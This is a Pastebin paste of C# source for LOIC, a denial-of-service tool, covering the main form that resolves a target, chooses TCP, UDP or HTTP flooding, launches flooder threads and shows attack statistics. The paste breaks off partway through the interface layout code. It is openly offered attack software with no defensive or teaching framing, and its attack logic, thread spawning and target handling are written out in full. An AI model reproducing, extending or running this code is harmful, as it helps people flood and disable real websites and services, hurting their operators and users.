Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- BY FEDERATIONHAX| LOIC - DDOSING TOOL SOURCE
- ----------------|-----------------------------------
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Drawing;
- using System.Globalization;
- using System.Linq;
- using System.Net;
- using System.Windows.Forms;
- namespace LOIC
- {
- public class frmMain : Form
- {
- private bool attack;
- private bool browser;
- private static IFlooder[] arr;
- private static string sIP;
- private static string sData;
- private static string sSubsite;
- private static int iPort;
- private static int iThreads;
- private static int iProtocol;
- private static int iDelay;
- private static int iTimeout;
- private static bool bResp;
- private static bool intShowStats;
- private IContainer components;
- private GroupBox groupBox1;
- private Button cmdTargetURL;
- private TextBox txtTargetURL;
- private Label label2;
- private Button cmdTargetIP;
- private TextBox txtTargetIP;
- private Label label1;
- private GroupBox groupBox2;
- private TextBox txtTarget;
- private Label label5;
- private Label label3;
- private GroupBox groupBox3;
- private TextBox txtPort;
- private TextBox txtThreads;
- private ComboBox cbMethod;
- private TextBox txtTimeout;
- private Label label10;
- private GroupBox groupBox4;
- private Button cmdAttack;
- private Label label11;
- private GroupBox groupBox5;
- private Label label22;
- private Label label23;
- private Label lbDownloaded;
- private Label lbDownloading;
- private Label lbRequesting;
- private Label lbConnecting;
- private Label lbIdle;
- private Label label12;
- private Label label13;
- private Label label14;
- private Label label15;
- private Label label16;
- private Label lbFailed;
- private Label lbRequested;
- private TextBox txtSubsite;
- private ToolTip TTip;
- private TextBox txtData;
- private Timer tShowStats;
- private Label label19;
- private Label label7;
- private Label label4;
- private Label label6;
- private Label label20;
- private CheckBox chkResp;
- private TrackBar tbSpeed;
- private Label label18;
- private Label label17;
- private Label label9;
- private Label label21;
- private PictureBox pBanner;
- private WebBrowser cBrowser;
- public frmMain()
- {
- this.InitializeComponent();
- }
- private void frmMain_Load(object sender, EventArgs e)
- {
- this.Text = string.Format("{0} | When harpoons, air strikes and nukes fails | v. {1}", (object) Application.ProductName, (object) Application.ProductVersion);
- }
- private void cmdTargetURL_Click(object sender, EventArgs e)
- {
- string uriString = this.txtTargetURL.Text.ToLower();
- if (uriString.Length == 0)
- {
- using (frmWtf frmWtf = new frmWtf())
- {
- frmWtf.Show();
- int num = (int) MessageBox.Show("A URL is fine too...", "What the shit.");
- }
- }
- else
- {
- if (!uriString.StartsWith("http://"))
- {
- if (!uriString.StartsWith("https://"))
- uriString = "http://" + uriString;
- }
- try
- {
- IPAddress[] addressList = Dns.GetHostEntry(new Uri(uriString).Host).AddressList;
- this.txtTarget.Text = (addressList.Length > 1 ? (object) addressList[new Random().Next(addressList.Length)] : (object) ((IEnumerable<IPAddress>) addressList).First<IPAddress>()).ToString();
- }
- catch
- {
- using (frmWtf frmWtf = new frmWtf())
- {
- frmWtf.Show();
- int num = (int) MessageBox.Show("Write the complete address", "What the shit.");
- }
- }
- }
- }
- private void cmdTargetIP_Click(object sender, EventArgs e)
- {
- if (this.txtTargetIP.Text.Length == 0)
- {
- using (frmWtf frmWtf = new frmWtf())
- {
- frmWtf.Show();
- int num = (int) MessageBox.Show("I think you forgot the IP.", "What the shit.");
- }
- }
- else
- this.txtTarget.Text = this.txtTargetIP.Text;
- }
- private void txtTarget_Enter(object sender, EventArgs e)
- {
- this.cmdAttack.Focus();
- }
- private void cmdAttack_Click(object sender, EventArgs e)
- {
- if (!this.attack)
- {
- this.attack = true;
- try
- {
- frmMain.sIP = this.txtTarget.Text;
- if (!int.TryParse(this.txtPort.Text, out frmMain.iPort))
- throw new Exception("I don't think ports are supposed to be written like THAT.");
- if (!int.TryParse(this.txtThreads.Text, out frmMain.iThreads))
- throw new Exception("What on earth made you put THAT in the threads field?");
- if (string.IsNullOrEmpty(this.txtTarget.Text) || string.Equals(this.txtTarget.Text, "N O N E !"))
- throw new Exception("Select a target.");
- frmMain.iProtocol = 0;
- switch (this.cbMethod.Text)
- {
- case "TCP":
- frmMain.iProtocol = 1;
- break;
- case "UDP":
- frmMain.iProtocol = 2;
- break;
- case "HTTP":
- frmMain.iProtocol = 3;
- break;
- default:
- throw new Exception("Select a proper attack method.");
- }
- frmMain.sData = this.txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
- if (string.IsNullOrEmpty(frmMain.sData) && (frmMain.iProtocol == 1 || frmMain.iProtocol == 2))
- throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
- if (!this.txtSubsite.Text.StartsWith("/") && frmMain.iProtocol == 3)
- throw new Exception("You have to enter a subsite (for example \"/\")");
- frmMain.sSubsite = this.txtSubsite.Text;
- if (!int.TryParse(this.txtTimeout.Text, out frmMain.iTimeout))
- throw new Exception("What's up with something like that in the timeout box? =S");
- frmMain.bResp = this.chkResp.Checked;
- }
- catch (Exception ex)
- {
- using (frmWtf frmWtf = new frmWtf())
- {
- frmWtf.Show();
- int num = (int) MessageBox.Show(ex.Message, "What the shit.");
- }
- this.attack = false;
- return;
- }
- this.cmdAttack.Text = "Stop flooding";
- if (!this.browser)
- {
- try
- {
- this.cBrowser.Navigate("https://j.mp/loicweb");
- }
- finally
- {
- this.browser = true;
- }
- }
- switch (frmMain.iProtocol)
- {
- case 1:
- case 2:
- frmMain.arr = (IFlooder[]) Enumerable.Range(0, frmMain.iThreads).Select<int, XXPFlooder>((Func<int, XXPFlooder>) (i => new XXPFlooder(frmMain.sIP, frmMain.iPort, frmMain.iProtocol, frmMain.iDelay, frmMain.bResp, frmMain.sData))).ToArray<XXPFlooder>();
- break;
- case 3:
- frmMain.arr = (IFlooder[]) Enumerable.Range(0, frmMain.iThreads).Select<int, HTTPFlooder>((Func<int, HTTPFlooder>) (i => new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout))).ToArray<HTTPFlooder>();
- break;
- }
- foreach (IFlooder flooder in frmMain.arr)
- flooder.Start();
- this.tShowStats.Start();
- }
- else
- {
- this.attack = false;
- this.cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
- foreach (IFlooder flooder in frmMain.arr)
- flooder.Stop();
- this.tShowStats.Stop();
- frmMain.arr = (IFlooder[]) null;
- }
- }
- private void tShowStats_Tick(object sender, EventArgs e)
- {
- if (frmMain.intShowStats)
- return;
- frmMain.intShowStats = true;
- switch (frmMain.iProtocol)
- {
- case 1:
- case 2:
- this.lbRequested.Text = frmMain.arr.Cast<XXPFlooder>().Sum<XXPFlooder>((Func<XXPFlooder, int>) (f => f.FloodCount)).ToString((IFormatProvider) CultureInfo.InvariantCulture);
- break;
- case 3:
- int num1 = 0;
- int num2 = 0;
- int num3 = 0;
- int num4 = 0;
- int num5 = 0;
- int num6 = 0;
- int num7 = 0;
- for (int index = 0; index < frmMain.arr.Length; ++index)
- {
- HTTPFlooder httpFlooder1 = (HTTPFlooder) frmMain.arr[index];
- num5 += httpFlooder1.Downloaded;
- num6 += httpFlooder1.Requested;
- num7 += httpFlooder1.Failed;
- switch (httpFlooder1.State)
- {
- case ReqState.Ready:
- case ReqState.Completed:
- ++num1;
- break;
- case ReqState.Connecting:
- ++num2;
- break;
- case ReqState.Requesting:
- ++num3;
- break;
- case ReqState.Downloading:
- ++num4;
- break;
- }
- if (!httpFlooder1.IsFlooding)
- {
- int downloaded = httpFlooder1.Downloaded;
- int requested = httpFlooder1.Requested;
- int failed = httpFlooder1.Failed;
- HTTPFlooder httpFlooder2 = new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout)
- {
- Downloaded = downloaded,
- Requested = requested,
- Failed = failed
- };
- httpFlooder2.Start();
- frmMain.arr[index] = (IFlooder) httpFlooder2;
- }
- }
- this.lbFailed.Text = num7.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbRequested.Text = num6.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbDownloaded.Text = num5.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbDownloading.Text = num4.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbRequesting.Text = num3.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbConnecting.Text = num2.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- this.lbIdle.Text = num1.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- break;
- }
- frmMain.intShowStats = false;
- }
- private void tbSpeed_ValueChanged(object sender, EventArgs e)
- {
- frmMain.iDelay = this.tbSpeed.Value;
- if (frmMain.arr == null)
- return;
- foreach (IFlooder flooder in frmMain.arr)
- flooder.Delay = frmMain.iDelay;
- }
- private void cBrowser_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
- {
- this.pBanner.Visible = false;
- this.cBrowser.Visible = true;
- }
- protected override void Dispose(bool disposing)
- {
- if (disposing && this.components != null)
- this.components.Dispose();
- base.Dispose(disposing);
- }
- private void InitializeComponent()
- {
- this.components = new System.ComponentModel.Container();
- this.groupBox1 = new System.Windows.Forms.GroupBox();
- this.label2 = new System.Windows.Forms.Label();
- this.cmdTargetIP = new System.Windows.Forms.Button();
- this.txtTargetIP = new System.Windows.Forms.TextBox();
- this.label1 = new System.Windows.Forms.Label();
- this.cmdTargetURL = new System.Windows.Forms.Button();
- this.txtTargetURL = new System.Windows.Forms.TextBox();
- this.groupBox2 = new System.Windows.Forms.GroupBox();
- this.txtTarget = new System.Windows.Forms.TextBox();
- this.label5 = new System.Windows.Forms.Label();
- this.label3 = new System.Windows.Forms.Label();
- this.groupBox3 = new System.Windows.Forms.GroupBox();
- this.label21 = new System.Windows.Forms.Label();
- this.label18 = new System.Windows.Forms.Label();
- this.label17 = new System.Windows.Forms.Label();
- this.label9 = new System.Windows.Forms.Label();
- this.label7 = new System.Windows.Forms.Label();
- this.label4 = new System.Windows.Forms.Label();
- this.label6 = new System.Windows.Forms.Label();
- this.label20 = new System.Windows.Forms.Label();
- this.chkResp = new System.Windows.Forms.CheckBox();
- this.txtData = new System.Windows.Forms.TextBox();
- this.txtSubsite = new System.Windows.Forms.TextBox();
- this.txtTimeout = new System.Windows.Forms.TextBox();
- this.txtThreads = new System.Windows.Forms.TextBox();
- this.cbMethod = new System.Windows.Forms.ComboBox();
- this.txtPort = new System.Windows.Forms.TextBox();
- this.tbSpeed = new System.Windows.Forms.TrackBar();
- this.label10 = new System.Windows.Forms.Label();
- this.groupBox4 = new System.Windows.Forms.GroupBox();
- this.cmdAttack = new System.Windows.Forms.Button();
- this.label11 = new System.Windows.Forms.Label();
- this.groupBox5 = new System.Windows.Forms.GroupBox();
- this.label19 = new System.Windows.Forms.Label();
- this.lbFailed = new System.Windows.Forms.Label();
- this.lbRequested = new System.Windows.Forms.Label();
- this.label22 = new System.Windows.Forms.Label();
- this.label23 = new System.Windows.Forms.Label();
- this.lbDownloaded = new System.Windows.Forms.Label();
- this.lbDownloading = new System.Windows.Forms.Label();
- this.lbRequesting = new System.Windows.Forms.Label();
- this.lbConnecting = new System.Windows.Forms.Label();
- this.lbIdle = new System.Windows.Forms.Label();
- this.label12 = new System.Windows.Forms.Label();
- this.label13 = new System.Windows.Forms.Label();
- this.label14 = new System.Windows.Forms.Label();
- this.label15 = new System.Windows.Forms.Label();
- this.label16 = new System.Windows.Forms.Label();
- this.TTip = new System.Windows.Forms.ToolTip(this.components);
- this.tShowStats = new System.Windows.Forms.Timer(this.components);
- this.pBanner = new System.Windows.Forms.PictureBox();
- this.cBrowser = new System.Windows.Forms.WebBrowser();
- this.groupBox1.SuspendLayout();
- this.groupBox2.SuspendLayout();
- this.groupBox3.SuspendLayout();
- ((System.ComponentModel.ISupportInitialize)(this.tbSpeed)).BeginInit();
- this.groupBox4.SuspendLayout();
- this.groupBox5.SuspendLayout();
- ((System.ComponentModel.ISupportInitialize)(this.pBanner)).BeginInit();
- this.SuspendLayout();
- //
- // groupBox1
- //
- this.groupBox1.Controls.Add(this.label2);
- this.groupBox1.Controls.Add(this.cmdTargetIP);
- this.groupBox1.Controls.Add(this.txtTargetIP);
- this.groupBox1.Controls.Add(this.label1);
- this.groupBox1.Controls.Add(this.cmdTargetURL);
- this.groupBox1.Controls.Add(this.txtTargetURL);
- this.groupBox1.ForeColor = System.Drawing.Color.LightBlue;
- this.groupBox1.Location = new System.Drawing.Point(212, 12);
- this.groupBox1.Name = "groupBox1";
- this.groupBox1.Size = new System.Drawing.Size(465, 75);
- this.groupBox1.TabIndex = 1;
- this.groupBox1.TabStop = false;
- this.groupBox1.Text = "1. Select your target";
- //
- // label2
- //
- this.label2.Location = new System.Drawing.Point(6, 51);
- this.label2.Name = "label2";
- this.label2.Size = new System.Drawing.Size(30, 14);
- this.label2.TabIndex = 5;
- this.label2.Text = "IP";
- this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleRight;
- //
- // cmdTargetIP
- //
- this.cmdTargetIP.BackColor = System.Drawing.Color.Black;
- this.cmdTargetIP.ForeColor = System.Drawing.Color.Azure;
- this.cmdTargetIP.Location = new System.Drawing.Point(388, 47);
- this.cmdTargetIP.Name = "cmdTargetIP";
- this.cmdTargetIP.Size = new System.Drawing.Size(71, 22);
- this.cmdTargetIP.TabIndex = 4;
- this.cmdTargetIP.Text = "Lock on";
- this.cmdTargetIP.UseVisualStyleBackColor = false;
- this.cmdTargetIP.Click += new System.EventHandler(this.cmdTargetIP_Click);
- //
- // txtTargetIP
- //
- this.txtTargetIP.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.txtTargetIP.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtTargetIP.ForeColor = System.Drawing.Color.Azure;
- this.txtTargetIP.Location = new System.Drawing.Point(42, 48);
- this.txtTargetIP.Name = "txtTargetIP";
- this.txtTargetIP.Size = new System.Drawing.Size(340, 20);
- this.txtTargetIP.TabIndex = 3;
- this.TTip.SetToolTip(this.txtTargetIP, "If you know your target\'s IP, enter the IP here and click \"Lock on\"");
- //
- // label1
- //
- this.label1.Location = new System.Drawing.Point(6, 23);
- this.label1.Name = "label1";
- this.label1.Size = new System.Drawing.Size(30, 14);
- this.label1.TabIndex = 2;
- this.label1.Text = "URL";
- this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight;
- //
- // cmdTargetURL
- //
- this.cmdTargetURL.BackColor = System.Drawing.Color.Black;
- this.cmdTargetURL.ForeColor = System.Drawing.Color.Azure;
- this.cmdTargetURL.Location = new System.Drawing.Point(388, 19);
- this.cmdTargetURL.Name = "cmdTargetURL";
- this.cmdTargetURL.Size = new System.Drawing.Size(71, 22);
- this.cmdTargetURL.TabIndex = 2;
- this.cmdTargetURL.Text = "Lock on";
- this.cmdTargetURL.UseVisualStyleBackColor = false;
- this.cmdTargetURL.Click += new System.EventHandler(this.cmdTargetURL_Click);
- //
- // txtTargetURL
- //
- this.txtTargetURL.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.txtTargetURL.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtTargetURL.ForeColor = System.Drawing.Color.Azure;
- this.txtTargetURL.Location = new System.Drawing.Point(42, 20);
- this.txtTargetURL.Name = "txtTargetURL";
- this.txtTargetURL.Size = new System.Drawing.Size(340, 20);
- this.txtTargetURL.TabIndex = 1;
- this.TTip.SetToolTip(this.txtTargetURL, "If you don\'t know your target\'s IP, enter a URL here and click \"Lock on\"");
- //
- // groupBox2
- //
- this.groupBox2.Controls.Add(this.txtTarget);
- this.groupBox2.ForeColor = System.Drawing.Color.LightBlue;
- this.groupBox2.Location = new System.Drawing.Point(380, 124);
- this.groupBox2.Name = "groupBox2";
- this.groupBox2.Size = new System.Drawing.Size(428, 90);
- this.groupBox2.TabIndex = 3;
- this.groupBox2.TabStop = false;
- this.groupBox2.Text = "Selected target";
- //
- // txtTarget
- //
- this.txtTarget.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(255)))), ((int)(((byte)(255)))));
- this.txtTarget.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtTarget.Font = new System.Drawing.Font("Impact", 27.75F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtTarget.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(255)))), ((int)(((byte)(128)))));
- this.txtTarget.Location = new System.Drawing.Point(6, 19);
- this.txtTarget.Name = "txtTarget";
- this.txtTarget.Size = new System.Drawing.Size(402, 53);
- this.txtTarget.TabIndex = 1;
- this.txtTarget.TabStop = false;
- this.txtTarget.Text = "N O N E !";
- this.txtTarget.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtTarget, "The currently selected target");
- this.txtTarget.Enter += new System.EventHandler(this.txtTarget_Enter);
- //
- // label5
- //
- this.label5.Location = new System.Drawing.Point(212, 90);
- this.label5.Name = "label5";
- this.label5.Size = new System.Drawing.Size(23, 23);
- this.label5.TabIndex = 7;
- //
- // label3
- //
- this.label3.Location = new System.Drawing.Point(212, 232);
- this.label3.Name = "label3";
- this.label3.Size = new System.Drawing.Size(23, 23);
- this.label3.TabIndex = 8;
- //
- // groupBox3
- //
- this.groupBox3.BackColor = System.Drawing.Color.Tomato;
- this.groupBox3.Controls.Add(this.label21);
- this.groupBox3.Controls.Add(this.label18);
- this.groupBox3.Controls.Add(this.label17);
- this.groupBox3.Controls.Add(this.label9);
- this.groupBox3.Controls.Add(this.label7);
- this.groupBox3.Controls.Add(this.label4);
- this.groupBox3.Controls.Add(this.label6);
- this.groupBox3.Controls.Add(this.label20);
- this.groupBox3.Controls.Add(this.chkResp);
- this.groupBox3.Controls.Add(this.txtData);
- this.groupBox3.Controls.Add(this.txtSubsite);
- this.groupBox3.Controls.Add(this.txtTimeout);
- this.groupBox3.Controls.Add(this.txtThreads);
- this.groupBox3.Controls.Add(this.cbMethod);
- this.groupBox3.Controls.Add(this.txtPort);
- this.groupBox3.Controls.Add(this.tbSpeed);
- this.groupBox3.ForeColor = System.Drawing.Color.LightBlue;
- this.groupBox3.Location = new System.Drawing.Point(212, 258);
- this.groupBox3.Name = "groupBox3";
- this.groupBox3.Size = new System.Drawing.Size(758, 112);
- this.groupBox3.TabIndex = 4;
- this.groupBox3.TabStop = false;
- this.groupBox3.Text = "3. Attack options";
- //
- // label21
- //
- this.label21.BackColor = System.Drawing.Color.Azure;
- this.label21.Location = new System.Drawing.Point(6, 61);
- this.label21.Name = "label21";
- this.label21.Size = new System.Drawing.Size(746, 1);
- this.label21.TabIndex = 27;
- this.label21.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label18
- //
- this.label18.Location = new System.Drawing.Point(359, 16);
- this.label18.Name = "label18";
- this.label18.Size = new System.Drawing.Size(393, 15);
- this.label18.TabIndex = 25;
- this.label18.Text = "TCP / UDP message";
- this.label18.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label17
- //
- this.label17.Location = new System.Drawing.Point(62, 16);
- this.label17.Name = "label17";
- this.label17.Size = new System.Drawing.Size(291, 15);
- this.label17.TabIndex = 24;
- this.label17.Text = "HTTP Subsite";
- this.label17.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label9
- //
- this.label9.Location = new System.Drawing.Point(6, 16);
- this.label9.Name = "label9";
- this.label9.Size = new System.Drawing.Size(50, 15);
- this.label9.TabIndex = 23;
- this.label9.Text = "Timeout";
- this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label7
- //
- this.label7.Location = new System.Drawing.Point(168, 94);
- this.label7.Name = "label7";
- this.label7.Size = new System.Drawing.Size(75, 15);
- this.label7.TabIndex = 22;
- this.label7.Text = "Threads";
- this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label4
- //
- this.label4.Location = new System.Drawing.Point(87, 94);
- this.label4.Name = "label4";
- this.label4.Size = new System.Drawing.Size(75, 15);
- this.label4.TabIndex = 21;
- this.label4.Text = "Method";
- this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label6
- //
- this.label6.Location = new System.Drawing.Point(6, 94);
- this.label6.Name = "label6";
- this.label6.Size = new System.Drawing.Size(75, 15);
- this.label6.TabIndex = 20;
- this.label6.Text = "Port";
- this.label6.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // label20
- //
- this.label20.Location = new System.Drawing.Point(362, 94);
- this.label20.Name = "label20";
- this.label20.Size = new System.Drawing.Size(390, 15);
- this.label20.TabIndex = 18;
- this.label20.Text = "<= faster Speed slower =>";
- this.label20.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // chkResp
- //
- this.chkResp.AutoSize = true;
- this.chkResp.Checked = true;
- this.chkResp.CheckState = System.Windows.Forms.CheckState.Checked;
- this.chkResp.Location = new System.Drawing.Point(249, 72);
- this.chkResp.Name = "chkResp";
- this.chkResp.Size = new System.Drawing.Size(91, 18);
- this.chkResp.TabIndex = 7;
- this.chkResp.Text = "Wait for reply";
- this.TTip.SetToolTip(this.chkResp, "Don\'t disconnect before the server\'s started to answer");
- this.chkResp.UseVisualStyleBackColor = true;
- //
- // txtData
- //
- this.txtData.BackColor = System.Drawing.Color.Black;
- this.txtData.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtData.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtData.ForeColor = System.Drawing.Color.Azure;
- this.txtData.Location = new System.Drawing.Point(359, 34);
- this.txtData.Name = "txtData";
- this.txtData.Size = new System.Drawing.Size(393, 20);
- this.txtData.TabIndex = 3;
- this.txtData.Text = "A cat is fine too. Desudesudesu~";
- this.txtData.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtData, "The data to send in TCP/UDP mode");
- //
- // txtSubsite
- //
- this.txtSubsite.BackColor = System.Drawing.Color.Black;
- this.txtSubsite.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtSubsite.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtSubsite.ForeColor = System.Drawing.Color.Azure;
- this.txtSubsite.Location = new System.Drawing.Point(62, 34);
- this.txtSubsite.Name = "txtSubsite";
- this.txtSubsite.Size = new System.Drawing.Size(291, 20);
- this.txtSubsite.TabIndex = 2;
- this.txtSubsite.Text = "/";
- this.txtSubsite.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtSubsite, "What subsite to target (when using HTTP as type)");
- //
- // txtTimeout
- //
- this.txtTimeout.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.txtTimeout.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtTimeout.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtTimeout.ForeColor = System.Drawing.Color.Azure;
- this.txtTimeout.Location = new System.Drawing.Point(6, 34);
- this.txtTimeout.Name = "txtTimeout";
- this.txtTimeout.Size = new System.Drawing.Size(50, 20);
- this.txtTimeout.TabIndex = 1;
- this.txtTimeout.Text = "9001";
- this.txtTimeout.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtTimeout, "Max time to wait for a response");
- //
- // txtThreads
- //
- this.txtThreads.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.txtThreads.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtThreads.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtThreads.ForeColor = System.Drawing.Color.Azure;
- this.txtThreads.Location = new System.Drawing.Point(168, 71);
- this.txtThreads.Name = "txtThreads";
- this.txtThreads.Size = new System.Drawing.Size(75, 20);
- this.txtThreads.TabIndex = 6;
- this.txtThreads.Text = "10";
- this.txtThreads.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtThreads, "How many users LOIC should emulate");
- //
- // cbMethod
- //
- this.cbMethod.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.cbMethod.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
- this.cbMethod.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
- this.cbMethod.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.cbMethod.ForeColor = System.Drawing.Color.Azure;
- this.cbMethod.FormattingEnabled = true;
- this.cbMethod.Items.AddRange(new object[] {
- "TCP",
- "UDP",
- "HTTP"});
- this.cbMethod.Location = new System.Drawing.Point(87, 69);
- this.cbMethod.Name = "cbMethod";
- this.cbMethod.Size = new System.Drawing.Size(75, 22);
- this.cbMethod.TabIndex = 5;
- this.TTip.SetToolTip(this.cbMethod, "What type of attack to launch");
- //
- // txtPort
- //
- this.txtPort.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(24)))), ((int)(((byte)(48)))), ((int)(((byte)(64)))));
- this.txtPort.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
- this.txtPort.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.txtPort.ForeColor = System.Drawing.Color.Azure;
- this.txtPort.Location = new System.Drawing.Point(6, 70);
- this.txtPort.Name = "txtPort";
- this.txtPort.Size = new System.Drawing.Size(75, 20);
- this.txtPort.TabIndex = 4;
- this.txtPort.Text = "80";
- this.txtPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
- this.TTip.SetToolTip(this.txtPort, "What port to attack (regular websites use 80)");
- //
- // tbSpeed
- //
- this.tbSpeed.Location = new System.Drawing.Point(362, 65);
- this.tbSpeed.Maximum = 20;
- this.tbSpeed.Name = "tbSpeed";
- this.tbSpeed.Size = new System.Drawing.Size(390, 45);
- this.tbSpeed.TabIndex = 8;
- this.tbSpeed.ValueChanged += new System.EventHandler(this.tbSpeed_ValueChanged);
- //
- // label10
- //
- this.label10.Location = new System.Drawing.Point(683, 9);
- this.label10.Name = "label10";
- this.label10.Size = new System.Drawing.Size(23, 23);
- this.label10.TabIndex = 9;
- //
- // groupBox4
- //
- this.groupBox4.Controls.Add(this.cmdAttack);
- this.groupBox4.ForeColor = System.Drawing.Color.LightBlue;
- this.groupBox4.Location = new System.Drawing.Point(712, 12);
- this.groupBox4.Name = "groupBox4";
- this.groupBox4.Size = new System.Drawing.Size(258, 75);
- this.groupBox4.TabIndex = 2;
- this.groupBox4.TabStop = false;
- this.groupBox4.Text = "2. Ready?";
- //
- // cmdAttack
- //
- this.cmdAttack.BackColor = System.Drawing.Color.Black;
- this.cmdAttack.Font = new System.Drawing.Font("Impact", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.cmdAttack.ForeColor = System.Drawing.Color.Red;
- this.cmdAttack.Location = new System.Drawing.Point(6, 19);
- this.cmdAttack.Name = "cmdAttack";
- this.cmdAttack.Size = new System.Drawing.Size(246, 50);
- this.cmdAttack.TabIndex = 1;
- this.cmdAttack.Text = "Hack";
- this.TTip.SetToolTip(this.cmdAttack, "I sincerely hope you can guess what this button does.");
- this.cmdAttack.UseVisualStyleBackColor = false;
- this.cmdAttack.Click += new System.EventHandler(this.cmdAttack_Click);
- //
- // label11
- //
- this.label11.Location = new System.Drawing.Point(212, 380);
- this.label11.Name = "label11";
- this.label11.Size = new System.Drawing.Size(23, 23);
- this.label11.TabIndex = 10;
- //
- // groupBox5
- //
- this.groupBox5.BackColor = System.Drawing.Color.Tomato;
- this.groupBox5.Controls.Add(this.label19);
- this.groupBox5.Controls.Add(this.lbFailed);
- this.groupBox5.Controls.Add(this.lbRequested);
- this.groupBox5.Controls.Add(this.label22);
- this.groupBox5.Controls.Add(this.label23);
- this.groupBox5.Controls.Add(this.lbDownloaded);
- this.groupBox5.Controls.Add(this.lbDownloading);
- this.groupBox5.Controls.Add(this.lbRequesting);
- this.groupBox5.Controls.Add(this.lbConnecting);
- this.groupBox5.Controls.Add(this.lbIdle);
- this.groupBox5.Controls.Add(this.label12);
- this.groupBox5.Controls.Add(this.label13);
- this.groupBox5.Controls.Add(this.label14);
- this.groupBox5.Controls.Add(this.label15);
- this.groupBox5.Controls.Add(this.label16);
- this.groupBox5.ForeColor = System.Drawing.Color.LightBlue;
- this.groupBox5.Location = new System.Drawing.Point(212, 406);
- this.groupBox5.Name = "groupBox5";
- this.groupBox5.Size = new System.Drawing.Size(758, 68);
- this.groupBox5.TabIndex = 5;
- this.groupBox5.TabStop = false;
- this.groupBox5.Text = "Attack status";
- //
- // label19
- //
- this.label19.BackColor = System.Drawing.Color.Azure;
- this.label19.Location = new System.Drawing.Point(6, 40);
- this.label19.Name = "label19";
- this.label19.Size = new System.Drawing.Size(746, 1);
- this.label19.TabIndex = 25;
- this.label19.Text = "Idle";
- this.label19.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
- //
- // lbFailed
- //
